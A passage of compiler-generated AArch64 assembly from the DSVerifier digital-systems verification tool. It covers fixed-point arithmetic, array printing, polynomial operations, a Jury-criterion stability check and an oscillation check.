ldr x0, [sp, 32]
bl fxp_quantize
str x0, [sp, 32]
ldr x0, [sp, 32]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE29:
.size fxp_mult, .-fxp_mult
.align 2
.global fxp_div
.type fxp_div, %function
fxp_div:
.LFB30:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str x1, [sp, 16]
ldr x0, [sp, 16]
cmp x0, 0
cset w0, ne
and w0, w0, 255
bl __DSVERIFIER_assume
adrp x0, impl
add x0, x0, :lo12:impl
ldr w0, [x0, 4]
ldr x1, [sp, 24]
lsl x1, x1, x0
ldr x0, [sp, 16]
sdiv x0, x1, x0
str x0, [sp, 40]
ldr x0, [sp, 40]
bl fxp_quantize
str x0, [sp, 40]
ldr x0, [sp, 40]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE30:
.size fxp_div, .-fxp_div
.align 2
.global fxp_neg
.type fxp_neg, %function
fxp_neg:
.LFB31:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
neg x0, x0
str x0, [sp, 40]
ldr x0, [sp, 40]
bl fxp_quantize
str x0, [sp, 40]
ldr x0, [sp, 40]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE31:
.size fxp_neg, .-fxp_neg
.align 2
.global fxp_sign
.type fxp_sign, %function
fxp_sign:
.LFB32:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, 8]
ldr x0, [sp, 8]
cmp x0, 0
beq .L87
ldr x0, [sp, 8]
cmp x0, 0
bge .L88
adrp x0, _fxp_minus_one
add x0, x0, :lo12:_fxp_minus_one
ldr x0, [x0]
b .L91
.L88:
adrp x0, _fxp_one
add x0, x0, :lo12:_fxp_one
ldr x0, [x0]
b .L91
.L87:
mov x0, 0
.L91:
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE32:
.size fxp_sign, .-fxp_sign
.align 2
.global fxp_shrl
.type fxp_shrl, %function
fxp_shrl:
.LFB33:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, 8]
str w1, [sp, 4]
ldr x0, [sp, 8]
mov w1, w0
ldr w0, [sp, 4]
lsr w0, w1, w0
uxtw x0, w0
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE33:
.size fxp_shrl, .-fxp_shrl
.align 2
.global fxp_square
.type fxp_square, %function
fxp_square:
.LFB34:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str x0, [sp, 24]
ldr x1, [sp, 24]
ldr x0, [sp, 24]
bl fxp_mult
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE34:
.size fxp_square, .-fxp_square
.section .rodata
.align 3
.LC4:
.string "\n%i"
.text
.align 2
.global fxp_print_int
.type fxp_print_int, %function
fxp_print_int:
.LFB35:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
mov w1, w0
adrp x0, .LC4
add x0, x0, :lo12:.LC4
bl printf
nop
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE35:
.size fxp_print_int, .-fxp_print_int
.section .rodata
.align 3
.LC5:
.string "\n%f"
.text
.align 2
.global fxp_print_float
.type fxp_print_float, %function
fxp_print_float:
.LFB36:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
bl fxp_to_float
fcvt d0, s0
adrp x0, .LC5
add x0, x0, :lo12:.LC5
bl printf
nop
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE36:
.size fxp_print_float, .-fxp_print_float
.align 2
.global fxp_print_float_array
.type fxp_print_float_array, %function
fxp_print_float_array:
.LFB37:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
str wzr, [sp, 44]
b .L99
.L100:
ldrsw x0, [sp, 44]
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr x0, [x0]
bl fxp_to_float
fcvt d0, s0
adrp x0, .LC5
add x0, x0, :lo12:.LC5
bl printf
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L99:
ldr w1, [sp, 44]
ldr w0, [sp, 20]
cmp w1, w0
blt .L100
nop
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE37:
.size fxp_print_float_array, .-fxp_print_float_array
.section .rodata
.align 3
.LC6:
.string "%s = {"
.align 3
.LC7:
.string " %jd "
.align 3
.LC8:
.string "}"
.text
.align 2
.global print_fxp_array_elements
.type print_fxp_array_elements, %function
print_fxp_array_elements:
.LFB38:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str w2, [sp, 28]
ldr x1, [sp, 40]
adrp x0, .LC6
add x0, x0, :lo12:.LC6
bl printf
str wzr, [sp, 60]
b .L102
.L103:
ldrsw x0, [sp, 60]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr x0, [x0]
mov x1, x0
adrp x0, .LC7
add x0, x0, :lo12:.LC7
bl printf
ldr w0, [sp, 60]
add w0, w0, 1
str w0, [sp, 60]
.L102:
ldr w1, [sp, 60]
ldr w0, [sp, 28]
cmp w1, w0
blt .L103
adrp x0, .LC8
add x0, x0, :lo12:.LC8
bl puts
nop
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE38:
.size print_fxp_array_elements, .-print_fxp_array_elements
.align 2
.global initialize_array
.type initialize_array, %function
initialize_array:
.LFB39:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, 8]
str w1, [sp, 4]
str wzr, [sp, 28]
b .L105
.L106:
ldrsw x0, [sp, 28]
lsl x0, x0, 3
ldr x1, [sp, 8]
add x0, x1, x0
str xzr, [x0]
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
.L105:
ldr w1, [sp, 28]
ldr w0, [sp, 4]
cmp w1, w0
blt .L106
nop
nop
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE39:
.size initialize_array, .-initialize_array
.align 2
.global revert_array
.type revert_array, %function
revert_array:
.LFB40:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str w2, [sp, 28]
ldr w1, [sp, 28]
ldr x0, [sp, 32]
bl initialize_array
str wzr, [sp, 60]
b .L108
.L109:
ldr w1, [sp, 28]
ldr w0, [sp, 60]
sub w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 40]
add x1, x1, x0
ldrsw x0, [sp, 60]
lsl x0, x0, 3
ldr x2, [sp, 32]
add x0, x2, x0
ldr d0, [x1]
str d0, [x0]
ldr w0, [sp, 60]
add w0, w0, 1
str w0, [sp, 60]
.L108:
ldr w1, [sp, 60]
ldr w0, [sp, 28]
cmp w1, w0
blt .L109
nop
nop
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE40:
.size revert_array, .-revert_array
.align 2
.global internal_pow
.type internal_pow, %function
internal_pow:
.LFB41:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str d0, [sp, 8]
str d1, [sp]
fmov d0, 1.0e+0
str d0, [sp, 24]
str wzr, [sp, 20]
b .L111
.L112:
ldr d1, [sp, 24]
ldr d0, [sp, 8]
fmul d0, d1, d0
str d0, [sp, 24]
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L111:
ldr w0, [sp, 20]
scvtf d0, w0
ldr d1, [sp]
fcmpe d1, d0
bgt .L112
ldr d0, [sp, 24]
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE41:
.size internal_pow, .-internal_pow
.align 2
.global internal_abs
.type internal_abs, %function
internal_abs:
.LFB42:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str d0, [sp, 8]
ldr d0, [sp, 8]
fcmpe d0, #0.0
bmi .L119
b .L120
.L119:
ldr d0, [sp, 8]
fneg d0, d0
b .L118
.L120:
ldr d0, [sp, 8]
.L118:
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE42:
.size internal_abs, .-internal_abs
.align 2
.global fatorial
.type fatorial, %function
fatorial:
.LFB43:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str w0, [sp, 28]
ldr w0, [sp, 28]
cmp w0, 0
beq .L122
ldr w0, [sp, 28]
sub w0, w0, #1
bl fatorial
mov w1, w0
ldr w0, [sp, 28]
mul w0, w1, w0
b .L124
.L122:
mov w0, 1
.L124:
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE43:
.size fatorial, .-fatorial
.section .rodata
.align 3
.LC9:
.string "[DEBUG] the first constraint of Jury criteria failed: (F(1) > 0)"
.align 3
.LC10:
.string "[DEBUG] the second constraint of Jury criteria failed: (F(-1)*(-1)^n > 0)"
.align 3
.LC11:
.string "[DEBUG] the third constraint of Jury criteria failed: (abs(a0) < a_{n}*z^{n})"
.text
.align 2
.global check_stability
.type check_stability, %function
check_stability:
.LFB44:
.cfi_startproc
stp x29, x30, [sp, -256]!
.cfi_def_cfa_offset 256
.cfi_offset 29, -256
.cfi_offset 30, -248
mov x29, sp
.cfi_def_cfa_register 29
stp x19, x20, [sp, 16]
stp x21, x22, [sp, 32]
stp x23, x24, [sp, 48]
stp x25, x26, [sp, 64]
stp x27, x28, [sp, 80]
str d8, [sp, 96]
sub sp, sp, #16
.cfi_offset 19, -240
.cfi_offset 20, -232
.cfi_offset 21, -224
.cfi_offset 22, -216
.cfi_offset 23, -208
.cfi_offset 24, -200
.cfi_offset 25, -192
.cfi_offset 26, -184
.cfi_offset 27, -176
.cfi_offset 28, -168
.cfi_offset 72, -160
str x0, [x29, 152]
str w1, [x29, 148]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [x29, 248]
mov x1, 0
mov x0, sp
str x0, [x29, 120]
ldr w0, [x29, 148]
lsl w0, w0, 1
sub w0, w0, #1
str w0, [x29, 188]
ldr w0, [x29, 148]
str w0, [x29, 172]
ldr w28, [x29, 148]
ldr w30, [x29, 188]
sxtw x0, w28
sub x0, x0, #1
str x0, [x29, 208]
sxtw x0, w28
mov x20, x0
mov x21, 0
lsr x0, x20, 58
lsl x19, x21, 6
orr x19, x0, x19
lsl x18, x20, 6
sxtw x0, w28
lsl x19, x0, 3
sxtw x0, w30
sub x0, x0, #1
str x0, [x29, 216]
sxtw x0, w28
mov x8, x0
mov x9, 0
sxtw x0, w30
mov x6, x0
mov x7, 0
mul x1, x8, x6
umulh x0, x8, x6
madd x0, x9, x6, x0
madd x0, x8, x7, x0
str x1, [x29, 128]
str x0, [x29, 136]
ldp x6, x7, [x29, 128]
mov x0, x6
lsr x0, x0, 58
mov x1, x7
lsl x17, x1, 6
orr x17, x0, x17
mov x0, x6
lsl x16, x0, 6
sxtw x0, w28
mov x4, x0
mov x5, 0
sxtw x0, w30
mov x2, x0
mov x3, 0
mul x1, x4, x2
umulh x0, x4, x2
madd x0, x5, x2, x0
madd x0, x4, x3, x0
mov x26, x1
mov x27, x0
lsr x0, x26, 58
lsl x15, x27, 6
orr x15, x0, x15
lsl x14, x26, 6
sxtw x1, w28
sxtw x0, w30
mul x0, x1, x0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L126:
cmp sp, x1
beq .L127
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L126
.L127:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L128
str xzr, [sp, 1024]
.L128:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 224]
ldr w0, [x29, 148]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 232]
sxtw x1, w0
mov x24, x1
mov x25, 0
lsr x1, x24, 58
lsl x13, x25, 6
orr x13, x1, x13
lsl x12, x24, 6
sxtw x1, w0
mov x22, x1
mov x23, 0
lsr x1, x22, 58
lsl x11, x23, 6
orr x11, x1, x11
lsl x10, x22, 6
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L129:
cmp sp, x1
beq .L130
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L129
.L130:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L131
str xzr, [sp, 1024]
.L131:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 240]
str wzr, [x29, 176]
b .L132
.L133:
ldrsw x0, [x29, 176]
lsl x0, x0, 3
ldr x1, [x29, 152]
add x0, x1, x0
ldr d0, [x0]
ldr x0, [x29, 240]
ldrsw x1, [x29, 176]
str d0, [x0, x1, lsl 3]
ldr w0, [x29, 176]
add w0, w0, 1
str w0, [x29, 176]
.L132:
ldr w1, [x29, 176]
ldr w0, [x29, 148]
cmp w1, w0
blt .L133
str xzr, [x29, 200]
str wzr, [x29, 176]
b .L134
.L135:
ldrsw x0, [x29, 176]
lsl x0, x0, 3
ldr x1, [x29, 152]
add x0, x1, x0
ldr d0, [x0]
ldr d1, [x29, 200]
fadd d0, d1, d0
str d0, [x29, 200]
ldr w0, [x29, 176]
add w0, w0, 1
str w0, [x29, 176]
.L134:
ldr w1, [x29, 176]
ldr w0, [x29, 148]
cmp w1, w0
blt .L135
ldr d0, [x29, 200]
fcmpe d0, #0.0
bls .L164
b .L167
.L164:
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl printf
mov w0, 0
b .L138
.L167:
str xzr, [x29, 200]
str wzr, [x29, 176]
b .L139
.L140:
ldrsw x0, [x29, 176]
lsl x0, x0, 3
ldr x1, [x29, 152]
add x0, x1, x0
ldr d8, [x0]
ldr w0, [x29, 148]
sub w1, w0, #1
ldr w0, [x29, 176]
sub w0, w1, w0
scvtf d0, w0
fmov d1, d0
fmov d0, -1.0e+0
bl internal_pow
fmul d0, d8, d0
ldr d1, [x29, 200]
fadd d0, d1, d0
str d0, [x29, 200]
ldr w0, [x29, 176]
add w0, w0, 1
str w0, [x29, 176]
.L139:
ldr w1, [x29, 176]
ldr w0, [x29, 148]
cmp w1, w0
blt .L140
ldr w0, [x29, 148]
sub w0, w0, #1
scvtf d0, w0
fmov d1, d0
fmov d0, -1.0e+0
bl internal_pow
fmov d1, d0
ldr d0, [x29, 200]
fmul d0, d0, d1
str d0, [x29, 200]
ldr d0, [x29, 200]
fcmpe d0, #0.0
bls .L165
b .L168
.L165:
adrp x0, .LC10
add x0, x0, :lo12:.LC10
bl printf
mov w0, 0
b .L138
.L168:
ldrsw x0, [x29, 148]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [x29, 152]
add x0, x1, x0
ldr d0, [x0]
bl internal_abs
fmov d1, d0
ldr x0, [x29, 152]
ldr d0, [x0]
fcmpe d1, d0
bgt .L166
b .L169
.L166:
adrp x0, .LC11
add x0, x0, :lo12:.LC11
bl printf
mov w0, 0
b .L138
.L169:
str wzr, [x29, 176]
b .L145
.L148:
str wzr, [x29, 180]
b .L146
.L147:
lsr x1, x19, 3
ldr x0, [x29, 224]
ldrsw x2, [x29, 180]
ldrsw x3, [x29, 176]
mul x1, x3, x1
add x1, x2, x1
str xzr, [x0, x1, lsl 3]
ldr w0, [x29, 180]
add w0, w0, 1
str w0, [x29, 180]
.L146:
ldr w1, [x29, 180]
ldr w0, [x29, 172]
cmp w1, w0
blt .L147
ldr w0, [x29, 176]
add w0, w0, 1
str w0, [x29, 176]
.L145:
ldr w1, [x29, 176]
ldr w0, [x29, 188]
cmp w1, w0
blt .L148
str wzr, [x29, 176]
b .L149
.L157:
str wzr, [x29, 180]
b .L150
.L156:
ldr w0, [x29, 176]
cmp w0, 0
bne .L151
ldrsw x0, [x29, 180]
lsl x0, x0, 3
ldr x1, [x29, 152]
add x0, x1, x0
lsr x1, x19, 3
ldr d0, [x0]
ldr x0, [x29, 224]
ldrsw x2, [x29, 180]
ldrsw x3, [x29, 176]
mul x1, x3, x1
add x1, x2, x1
str d0, [x0, x1, lsl 3]
b .L152
.L151:
ldr w0, [x29, 176]
and w0, w0, 1
cmp w0, 0
beq .L153
str wzr, [x29, 184]
b .L154
.L155:
lsr x2, x19, 3
ldr w0, [x29, 176]
sub w4, w0, #1
ldr w1, [x29, 172]
ldr w0, [x29, 184]
sub w0, w1, w0
sub w3, w0, #1
lsr x1, x19, 3
ldr x0, [x29, 224]
sxtw x3, w3
sxtw x4, w4
mul x2, x4, x2
add x2, x3, x2
ldr d0, [x0, x2, lsl 3]
ldr x0, [x29, 224]
ldrsw x2, [x29, 184]
ldrsw x3, [x29, 176]
mul x1, x3, x1
add x1, x2, x1
str d0, [x0, x1, lsl 3]
ldr w0, [x29, 184]
add w0, w0, 1
str w0, [x29, 184]
.L154:
ldr w1, [x29, 184]
ldr w0, [x29, 172]
cmp w1, w0
blt .L155
ldr w0, [x29, 172]
sub w0, w0, #1
str w0, [x29, 172]
ldr w0, [x29, 172]
str w0, [x29, 180]
b .L152
.L153:
lsr x1, x19, 3
ldr w0, [x29, 176]
sub w3, w0, #2
ldr x0, [x29, 224]
ldrsw x2, [x29, 180]
sxtw x3, w3
mul x1, x3, x1
add x1, x2, x1
ldr d1, [x0, x1, lsl 3]
lsr x1, x19, 3
ldr w0, [x29, 176]
sub w3, w0, #2
ldr x0, [x29, 224]
ldrsw x2, [x29, 172]
sxtw x3, w3
mul x1, x3, x1
add x1, x2, x1
ldr d2, [x0, x1, lsl 3]
lsr x1, x19, 3
ldr w0, [x29, 176]
sub w2, w0, #2
ldr x0, [x29, 224]
sxtw x2, w2
mul x1, x2, x1
ldr d0, [x0, x1, lsl 3]
fdiv d2, d2, d0
lsr x1, x19, 3
ldr w0, [x29, 176]
sub w3, w0, #1
ldr x0, [x29, 224]
ldrsw x2, [x29, 180]
sxtw x3, w3
mul x1, x3, x1
add x1, x2, x1
ldr d0, [x0, x1, lsl 3]
fmul d0, d2, d0
lsr x1, x19, 3
fsub d0, d1, d0
ldr x0, [x29, 224]
ldrsw x2, [x29, 180]
ldrsw x3, [x29, 176]
mul x1, x3, x1
add x1, x2, x1
str d0, [x0, x1, lsl 3]
.L152:
ldr w0, [x29, 180]
add w0, w0, 1
str w0, [x29, 180]
.L150:
ldr w1, [x29, 180]
ldr w0, [x29, 172]
cmp w1, w0
blt .L156
ldr w0, [x29, 176]
add w0, w0, 1
str w0, [x29, 176]
.L149:
ldr w1, [x29, 176]
ldr w0, [x29, 188]
cmp w1, w0
blt .L157
ldr x0, [x29, 224]
ldr d0, [x0]
fcmpe d0, #0.0
cset w0, ge
and w0, w0, 255
str w0, [x29, 192]
str wzr, [x29, 176]
b .L158
.L161:
ldr w0, [x29, 176]
and w0, w0, 1
cmp w0, 0
bne .L159
lsr x1, x19, 3
ldr x0, [x29, 224]
ldrsw x2, [x29, 176]
mul x1, x2, x1
ldr d0, [x0, x1, lsl 3]
fcmpe d0, #0.0
cset w0, ge
and w0, w0, 255
str w0, [x29, 196]
ldr w1, [x29, 192]
ldr w0, [x29, 196]
cmp w1, w0
beq .L170
mov w0, 0
b .L138
.L170:
nop
.L159:
ldr w0, [x29, 176]
add w0, w0, 1
str w0, [x29, 176]
.L158:
ldr w1, [x29, 176]
ldr w0, [x29, 188]
cmp w1, w0
blt .L161
mov w0, 1
.L138:
ldr x1, [x29, 120]
mov sp, x1
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [x29, 248]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L163
bl __stack_chk_fail
.L163:
mov w0, w1
mov sp, x29
ldr d8, [sp, 96]
ldp x19, x20, [sp, 16]
ldp x21, x22, [sp, 32]
ldp x23, x24, [sp, 48]
ldp x25, x26, [sp, 64]
ldp x27, x28, [sp, 80]
ldp x29, x30, [sp], 256
.cfi_restore 30
.cfi_restore 29
.cfi_restore 27
.cfi_restore 28
.cfi_restore 25
.cfi_restore 26
.cfi_restore 23
.cfi_restore 24
.cfi_restore 21
.cfi_restore 22
.cfi_restore 19
.cfi_restore 20
.cfi_restore 72
.cfi_def_cfa 31, 0
ret
.cfi_endproc
.LFE44:
.size check_stability, .-check_stability
.align 2
.global poly_sum
.type poly_sum, %function
poly_sum:
.LFB45:
.cfi_startproc
sub sp, sp, #64
.cfi_def_cfa_offset 64
str x0, [sp, 40]
str w1, [sp, 36]
str x2, [sp, 24]
str w3, [sp, 32]
str x4, [sp, 16]
str w5, [sp, 12]
ldr w0, [sp, 36]
ldr w2, [sp, 32]
ldr w1, [sp, 32]
cmp w2, w0
csel w0, w1, w0, ge
str w0, [sp, 12]
str wzr, [sp, 60]
b .L172
.L175:
ldr w1, [sp, 36]
ldr w0, [sp, 32]
cmp w1, w0
ble .L173
ldrsw x0, [sp, 60]
lsl x0, x0, 3
ldr x1, [sp, 40]
add x1, x1, x0
ldrsw x0, [sp, 60]
lsl x0, x0, 3
ldr x2, [sp, 16]
add x0, x2, x0
ldr d0, [x1]
str d0, [x0]
ldr w1, [sp, 36]
ldr w0, [sp, 32]
sub w0, w1, w0
ldr w1, [sp, 60]
cmp w1, w0
blt .L174
ldrsw x0, [sp, 60]
lsl x0, x0, 3
ldr x1, [sp, 16]
add x0, x1, x0
ldr d1, [x0]
ldr w1, [sp, 60]
ldr w0, [sp, 36]
sub w1, w1, w0
ldr w0, [sp, 32]
add w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 60]
lsl x0, x0, 3
ldr x1, [sp, 16]
add x0, x1, x0
fadd d0, d1, d0
str d0, [x0]
b .L174
.L173:
ldrsw x0, [sp, 60]
lsl x0, x0, 3
ldr x1, [sp, 24]
add x1, x1, x0
ldrsw x0, [sp, 60]
lsl x0, x0, 3
ldr x2, [sp, 16]
add x0, x2, x0
ldr d0, [x1]
str d0, [x0]
ldr w1, [sp, 32]
ldr w0, [sp, 36]
sub w0, w1, w0
ldr w1, [sp, 60]
cmp w1, w0
blt .L174
ldrsw x0, [sp, 60]
lsl x0, x0, 3
ldr x1, [sp, 16]
add x0, x1, x0
ldr d1, [x0]
ldr w1, [sp, 60]
ldr w0, [sp, 32]
sub w1, w1, w0
ldr w0, [sp, 36]
add w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 40]
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 60]
lsl x0, x0, 3
ldr x1, [sp, 16]
add x0, x1, x0
fadd d0, d1, d0
str d0, [x0]
.L174:
ldr w0, [sp, 60]
add w0, w0, 1
str w0, [sp, 60]
.L172:
ldr w1, [sp, 60]
ldr w0, [sp, 12]
cmp w1, w0
blt .L175
nop
nop
add sp, sp, 64
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE45:
.size poly_sum, .-poly_sum
.align 2
.global poly_mult
.type poly_mult, %function
poly_mult:
.LFB46:
.cfi_startproc
sub sp, sp, #64
.cfi_def_cfa_offset 64
str x0, [sp, 40]
str w1, [sp, 36]
str x2, [sp, 24]
str w3, [sp, 32]
str x4, [sp, 16]
str w5, [sp, 12]
ldr w1, [sp, 36]
ldr w0, [sp, 32]
add w0, w1, w0
sub w0, w0, #1
str w0, [sp, 12]
str wzr, [sp, 52]
b .L177
.L180:
str wzr, [sp, 56]
b .L178
.L179:
ldr w1, [sp, 36]
ldr w0, [sp, 32]
add w1, w1, w0
ldr w0, [sp, 52]
sub w1, w1, w0
ldr w0, [sp, 56]
sub w0, w1, w0
sub w0, w0, #2
str w0, [sp, 60]
ldrsw x0, [sp, 60]
lsl x0, x0, 3
ldr x1, [sp, 16]
add x0, x1, x0
str xzr, [x0]
ldr w0, [sp, 56]
add w0, w0, 1
str w0, [sp, 56]
.L178:
ldr w1, [sp, 56]
ldr w0, [sp, 32]
cmp w1, w0
blt .L179
ldr w0, [sp, 52]
add w0, w0, 1
str w0, [sp, 52]
.L177:
ldr w1, [sp, 52]
ldr w0, [sp, 36]
cmp w1, w0
blt .L180
str wzr, [sp, 52]
b .L181
.L184:
str wzr, [sp, 56]
b .L182
.L183:
ldr w1, [sp, 36]
ldr w0, [sp, 32]
add w1, w1, w0
ldr w0, [sp, 52]
sub w1, w1, w0
ldr w0, [sp, 56]
sub w0, w1, w0
sub w0, w0, #2
str w0, [sp, 60]
ldrsw x0, [sp, 60]
lsl x0, x0, 3
ldr x1, [sp, 16]
add x0, x1, x0
ldr d1, [x0]
ldr w1, [sp, 36]
ldr w0, [sp, 52]
sub w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 40]
add x0, x1, x0
ldr d2, [x0]
ldr w1, [sp, 32]
ldr w0, [sp, 56]
sub w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 24]
add x0, x1, x0
ldr d0, [x0]
fmul d0, d2, d0
ldrsw x0, [sp, 60]
lsl x0, x0, 3
ldr x1, [sp, 16]
add x0, x1, x0
fadd d0, d1, d0
str d0, [x0]
ldr w0, [sp, 56]
add w0, w0, 1
str w0, [sp, 56]
.L182:
ldr w1, [sp, 56]
ldr w0, [sp, 32]
cmp w1, w0
blt .L183
ldr w0, [sp, 52]
add w0, w0, 1
str w0, [sp, 52]
.L181:
ldr w1, [sp, 52]
ldr w0, [sp, 36]
cmp w1, w0
blt .L184
nop
nop
add sp, sp, 64
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE46:
.size poly_mult, .-poly_mult
.section .rodata
.align 3
.LC12:
.string "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h"
.align 3
.LC13:
.string "!(window_count == window_size)"
.text
.align 2
.global double_check_oscillations
.type double_check_oscillations, %function
double_check_oscillations:
.LFB47:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
ldr x0, [sp, 24]
ldr d1, [x0]
ldrsw x0, [sp, 20]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 24]
add x0, x1, x0
ldr d0, [x0]
fcmp d1, d0
cset w0, ne
and w0, w0, 255
bl __DSVERIFIER_assume
str wzr, [sp, 40]
str wzr, [sp, 44]
mov w0, 2
str w0, [sp, 48]
b .L186
.L193:
ldr w0, [sp, 48]
str w0, [sp, 56]
str wzr, [sp, 52]
b .L187
.L192:
ldr w1, [sp, 40]
ldr w0, [sp, 56]
cmp w1, w0
ble .L188
str wzr, [sp, 40]
str wzr, [sp, 44]
.L188:
ldr w1, [sp, 52]
ldr w0, [sp, 56]
add w0, w1, w0
str w0, [sp, 60]
ldr w1, [sp, 60]
ldr w0, [sp, 20]
cmp w1, w0
bge .L194
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr d1, [x0]
ldrsw x0, [sp, 60]
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr d0, [x0]
fcmp d1, d0
bne .L190
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
ldr w1, [sp, 44]
ldr w0, [sp, 56]
cmp w1, w0
bne .L190
adrp x0, __PRETTY_FUNCTION__.19
add x3, x0, :lo12:__PRETTY_FUNCTION__.19
mov w2, 209
adrp x0, .LC12
add x1, x0, :lo12:.LC12
adrp x0, .LC13
add x0, x0, :lo12:.LC13
bl __assert_fail
.L190:
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
ldr w0, [sp, 52]
add w0, w0, 1
str w0, [sp, 52]
